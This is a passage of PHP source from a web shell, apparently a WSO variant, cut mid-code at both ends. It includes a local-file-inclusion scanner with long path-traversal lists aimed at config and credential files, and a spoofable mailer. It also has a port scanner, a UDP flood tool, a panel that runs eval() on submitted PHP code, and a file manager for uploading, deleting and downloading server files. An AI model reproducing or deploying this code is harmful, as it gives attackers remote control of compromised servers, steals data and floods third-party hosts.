35 =>"../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
$lfiphpini = array(
1 =>"../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
2 =>"../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
3 =>"../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
4 =>"../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
5 =>"../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
6 =>"../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
7 =>"../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
8 =>"../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
9 =>"../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
10 =>"../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
11 =>"../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
12 =>"../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
13 =>"../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
14 =>"../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
15 =>"../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
16 =>"../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
17 =>"../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
18 =>"../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
19 =>"../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
20 =>"../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
21 =>"../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
22 =>"../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
23 =>"../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
24 =>"../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
25 =>"../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
26 =>"../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
27 =>"../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
$lfimysql = array(
1 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
2 =>"../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
3 =>"../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
4 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
5 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
6 =>"../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
7 =>"../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
8 =>"../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
9 =>"../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
10 =>"../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
$lfiftp = array(
1 =>"../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
2 =>"../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
3 =>"../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
4 =>"../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
5 =>"../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
6 =>"../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
7 =>"../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
8 =>"../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
9 =>"../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
10 =>"../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
11 =>"../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
12 =>"../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
13 =>"../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
14 =>"../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
15 =>"../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
16 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
17 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
18 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
19 =>"../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
20 =>"../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
21 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
22 =>"../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
23 =>"../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
24 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
25 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
26 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
27 =>"../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
28 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
29 =>"../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
30 =>"../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
31 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
32 =>"../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
33 =>"../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
34 =>"../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
35 =>"../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
36 =>"../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
37 =>"../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
38 =>"../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
39 =>"../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
40 =>"../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
41 =>"../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
42 =>"../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
43 =>"../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
44 =>"../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
$x = 1;
if ( $type == 1 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiaccess[$x]) {
$res3 = FetchURL($target.$lfiaccess[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 2 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lficonfig[$x]) {
$res3 = FetchURL($target.$lficonfig[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 3 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfierror[$x]) {
$res3 = FetchURL($target.$lfierror[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 4 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiphpini[$x]) {
$res3 = FetchURL($target.$lfiphpini[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 5 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfimysql[$x]) {
$res3 = FetchURL($target.$lfimysql[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 6 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiftp[$x]) {
$res3 = FetchURL($target.$lfiftp[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 7 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
$res3 = FetchURL($target.$lfiprocenv);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
}
}
}
}
}
wsoFooter();
}
function actionphptools() {
wsoHeader();
;echo '<center>';
echo '<b>Mailer</b><br>
<form action="'.$surl.'" method=POST>
<input type="hidden" name="a" value="phptools">
<input type=text name=to placeholder=to><br>
<input type=text name=from placeholder=from><br>
<input type=text name=subject placeholder=subject><br>
<input type=text name=body placeholder=body><br>
<input type=submit name=submit value=Submit></form>';
if (isset($_POST['to']) &&isset($_POST['from']) &&isset($_POST['subject']) &&isset($_POST['body'])) {
$headers = 'From: '.$_POST['from'];
mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
echo 'Email sent.';
}
echo '<br><b>Port Scanner</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) &&is_numeric($_POST['end']) &&is_numeric($_POST['start'])){
for($i = $start;$i<=$end;$i++){
$fp = @fsockopen($host,$i,$errno,$errstr,3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
;echo '<form action="?" method="POST">
<input type="hidden" name="a" value="phptools">
Host:<br />
<input type="text" name="host" value="localhost"/><br />
Port start:<br />
<input type="text" name="start" value="0"/><br />
Port end:<br />
<input type="text" name="end" value="5000"/><br />
<input type="submit" value="Scan Ports" />
</form>
';
}
if(isset($_POST['host'])&&is_numeric($_POST['time'])){
$pakits = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_POST['time'];
$time = time();
$max_time = $time+$exec_time;
$host = $_POST['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$pakits++;
if(time() >$max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host,$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $pakits (".round(($pakits*65)/1024,2) ." MB) packets averaging ".round($pakits/$exec_time,2) ." packets per second
";
echo '<br><br>
<form action="'.$surl.'" method=POST>
<input type="hidden" name="a" value="phptools">
Host: <input type=text name=host value=localhost>
Length (seconds): <input type=text name=time value=9999>
<input type=submit value=Go></form>';
}else{echo '<br><b>UDP Flood</b><br>
<form action=? method=POST>
<input type="hidden" name="a" value="phptools">
Host: <br><input type=text name=host value=localhost><br>
Length (seconds): <br><input type=text name=time value=9999><br>
<input type=submit value=Go></form>';
}
;echo '</center>';
wsoFooter();}
function actionPhp() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'") ."';
";
echo strlen($temp),"
",$temp;
exit;
}
wsoHeader();
if(isset($_POST['p2']) &&($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2',$tmp) .'</div><br>';
}
if(empty($_POST['ajax']) &&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionFilesMan() {
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ?$path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") ||(basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f,$d.$s.'/');
}elseif(is_file($c.$s))
@copy($c.$s,$d.$s);
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['c'],$f,$GLOBALS['cwd']);
}elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f,$d.$s.'/');
}elseif(@is_file($c.$s))
@copy($c.$s,$d.$s);
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['c'].$f,$GLOBALS['cwd'].$f);
}elseif($_SESSION['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'],1)) {
chdir($_SESSION['c']);
foreach($_SESSION['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_SESSION['c'].$f))
$zip->addFile($_SESSION['c'].$f,$f);
elseif(@is_dir($_SESSION['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key),$key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
}elseif($_SESSION['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_SESSION['f'] as $f) {
if($zip->open($_SESSION['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
}elseif($_SESSION['act'] == 'tar') {
chdir($_SESSION['c']);
$_SESSION['f'] = array_map('escapeshellarg',$_SESSION['f']);
wsoEx('tar cfzv '.escapeshellarg($_POST['p2']) .' '.implode(' ',$_SESSION['f']));
chdir($GLOBALS['cwd']);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k =>$f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) {echo 'Can\'t open this folder!';wsoFooter();return;}
global $sort;
$sort = array('name',1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))
$sort = array($match[1],(int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name'=>$dirContent[$i],
'path'=>$GLOBALS['cwd'].$dirContent[$i],
'modify'=>date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),
'perms'=>wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),
'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] .$dirContent[$i]))
$files[] = array_merge($tmp,array('type'=>'file'));
elseif(@is_link($GLOBALS['cwd'] .$dirContent[$i]))
$dirs[] = array_merge($tmp,array('type'=>'link','link'=>readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i])&&($dirContent[$i] != "."))
$dirs[] = array_merge($tmp,array('type'=>'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a,$b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] <$b['size']) ?-1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files,"wsoCmp");
usort($dirs,"wsoCmp");
$files = array_merge($dirs,$files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title='.$f['link'] .'><b>[ '.htmlspecialchars($f['name']) .' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_SESSION['act']) &&@count($_SESSION['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_SESSION['act']) &&@count($_SESSION['f']) &&(($_SESSION['act'] == 'zip') ||($_SESSION['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_".date("Ymd_His") .".".($_SESSION['act'] == 'zip'?'zip':'tar.gz') ."'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode'=>'base64_encode',
'Base64 decode'=>'base64_decode',
'Url encode'=>'urlencode',
'Url decode'=>'urldecode',
'Full urlencode'=>'full_urlencode',
'md5 hash'=>'md5',
'sha1 hash'=>'sha1',
'crypt'=>'crypt',
'CRC32'=>'crc32',
'ASCII to HEX'=>'ascii2hex',
'HEX to ASCII'=>'hex2ascii',
'HEX to DEC'=>'hexdec',
'HEX to BIN'=>'hex2bin',
'DEC to HEX'=>'dechex',
'DEC to BIN'=>'decbin',
'BIN to HEX'=>'binhex',
'BIN to DEC'=>'bindec',
'String to lower case'=>'strtolower',
'String to upper case'=>'strtoupper',
'Htmlspecialchars'=>'htmlspecialchars',
'String length'=>'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'],$stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp),"
",$temp;
exit;
}
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k =>$v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='".htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path,-1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']),@glob($path.'*',GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
}else {
if(@strpos(@file_get_contents($item),@$_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='button' value='hashcrack.com' onclick=\"document.hf.action=parseURL(');http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='button' value='milw0rm.com' onclick=\"document.hf.action=parseURL(');http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
<input type='button' value='hashcracking.info' onclick=\"document.hf.action=parseURL(');https://hashcracking.info/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action=parseURL(');http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='md5decrypter.com' onclick=\"document.hf.action=parseURL(');http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) &&@is_readable($_POST['p1'])) {
ob_start("ob_gzhandler",4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: ".$type);
}else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'],"r");
if($fp) {
while(!@feof($fp))
echo @fread($fp,1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile') {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'],'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
